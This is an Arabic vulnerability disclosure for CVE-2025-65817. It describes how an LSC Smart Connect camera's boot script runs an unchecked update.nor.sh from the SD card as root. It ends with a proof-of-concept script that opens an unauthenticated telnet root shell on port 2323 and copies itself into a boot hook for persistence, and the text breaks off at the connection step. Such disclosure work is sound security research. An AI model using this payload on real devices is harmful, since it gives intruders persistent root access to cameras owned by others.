CVE-2025-65817

تقرير الثغرة في كاميرا LSC Smart Connect

تتمثل الثغرة المكتشفة في استغلال نظام التحديث في start_app.sh، وبشكل أدق عبر تركيب بطاقة SD وملف update.nor.sh.

متغيرات التهيئة

# routines of sd-card
# /mnt is for backword compatible
SDC_DIR=/mnt
SDC_HOOK=$SDC_DIR/update.nor.sh
SDC_FLAG_DEBUG=$SDC_DIR/__ipc_debug.ini
TMP_HOOK=/tmp/update.nor.sh
SENSOR_ISP_HOOK=$SDC_DIR/ISP/*t23.bin
# debug core-dump
WHERE_COREDMP="/mnt/sdc/coredmp"
WHERE_EXEC="/usr/local/bin/doraemon"

يثق القسم local/sbin/start_app.sh:50–99 بشكل أعمى بأي ملف باسم update.nor.sh موجود على بطاقة SD. أثناء عملية الإقلاع، يقوم النص البرمجي بما يلي:

• تركيب بطاقة SD،
• نسخ update.nor.sh إلى /tmp/update.nor.sh،
• ولا يجري أي تحقق من محتواه أو سلامته أو أذوناته أو ملكيته.

لاحقًا في تسلسل الإقلاع (local/sbin/start_app.sh:108–129)، يتم:

• جعل الملف المنسوخ قابلًا للتنفيذ،
• تشغيله كجذر root،
• تنفيذه مع تمرير نقطة تركيب بطاقة SD كوسيطة.

يحدث هذا التنفيذ قبل بدء ipc_service الرئيسي، مما يعني أن النص البرمجي يعمل في بيئة أعلى الصلاحيات حيث تكون أدوات الشبكات ووظائف المراقبة وأدوات التحديث متاحة بالفعل.

الأدوات المتاحة

يعتمد الاستغلال على إنشاء شيل وفتح منفذ عبر telnetd، وهو متاح على الكاميرا:

/bin # busybox --list
[...]
sh
sleep
swapoff
syslogd
tail
tar
tcpsvd
telnetd
[...]

إثبات المفهوم

كل ما نحتاجه هو كتابة نص برمجي .sh على بطاقة SD وتسميته update.nor.sh.

الاستغلال الذي اخترته هو:

#!/bin/sh

telnetd -l /bin/sh -p 2323 &

echo "Telnet start by update.nor.sh" > /tmp/exploit_success

cp /mnt/update.nor.sh /mnt/config/hook-boot.sh

date > /tmp/exploit_time

نتأكد من أن المنفذ مفتوح.

نتصل عبر telnet: